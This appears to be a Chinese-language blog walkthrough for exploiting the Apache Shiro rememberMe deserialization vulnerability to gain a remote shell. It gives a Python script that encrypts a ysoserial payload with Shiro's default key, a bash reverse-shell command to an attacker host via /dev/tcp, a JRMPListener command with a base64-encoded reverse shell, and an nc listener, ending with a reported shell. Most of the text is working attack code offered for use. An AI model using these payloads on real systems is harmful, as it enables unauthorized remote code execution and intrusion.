漏洞发现
只要在cookie
中传递rememberMe=awdawd
,然后返回包存在rememberMe=deleteMe;
的都可能存在shiro
反序列化漏洞
安装工具
1 | git clone https://github.com/frohoff/ysoserial.git |
安装mvn
1 | apt install maven |
然后执行
1 | mvn package -DskipTests |
就会生成一个target
目录,全部工具都在下面
还有一个工具是构造恶意rememberMe
的,下面会讲用法(我将其存为1.py
)
1 | import sys |
2 | import uuid |
3 | import base64 |
4 | import subprocess |
5 | from Crypto.Cipher import AES |
6 | |
7 | def encode_rememberme(command): #ysoserial-0.0.6-SNAPSHOT-all.jar #文件需要在该文件目录 |
8 | |
9 | popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE) |
10 | BS = AES.block_size |
11 | pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() |
12 | key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") |
13 | iv = uuid.uuid4().bytes |
14 | encryptor = AES.new(key, AES.MODE_CBC, iv) |
15 | file_body = pad(popen.stdout.read()) |
16 | base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) |
17 | return base64_ciphertext |
18 | |
19 | |
20 | if __name__ == '__main__': |
21 | payload = encode_rememberme(sys.argv[1]) |
22 | print "rememberMe={0}".format(payload.decode()) |
漏洞环境
1 | xxx.xxx.xx1 攻击机(一定要是外网的,否则无法反弹shell) |
2 | xxx.xxx.xx2 目标机 |
复现过程
1、构造恶意rememberMe
1 | python 1.py xxx.xxx.xx1:PORT1 |
2、制作bash
反弹shell
命令
1 | bash -i >& /dev/tcp/xxx.xxx.xx1/外网服务器监听端口(我用的是448) 0>&1 |
然后要放到http://www.jackson-t.ca/runtime-exec-payloads.html加密,因为他放入`rememberMe`会解`base64`
3、然后使用ysoserial
的监听模块监听PORT1
端口(第一步生成rememberMe
的端口)
1 | java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 4321 CommonsCollections5 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNjUuMjIuNDkuMTcvNDQ4IDA+JjE=}|{base64,-d}|{bash,-i}' |
4、监听第二步制作的反弹shell
的端口
1 | nc -lvp 448 |
5、然后在目标站上抓包,在cookie
里加入第一步生成的rememberMe
然后就可以看到nc
反弹过来的shell
成功获取shell
,由于是linux
,所以无后续。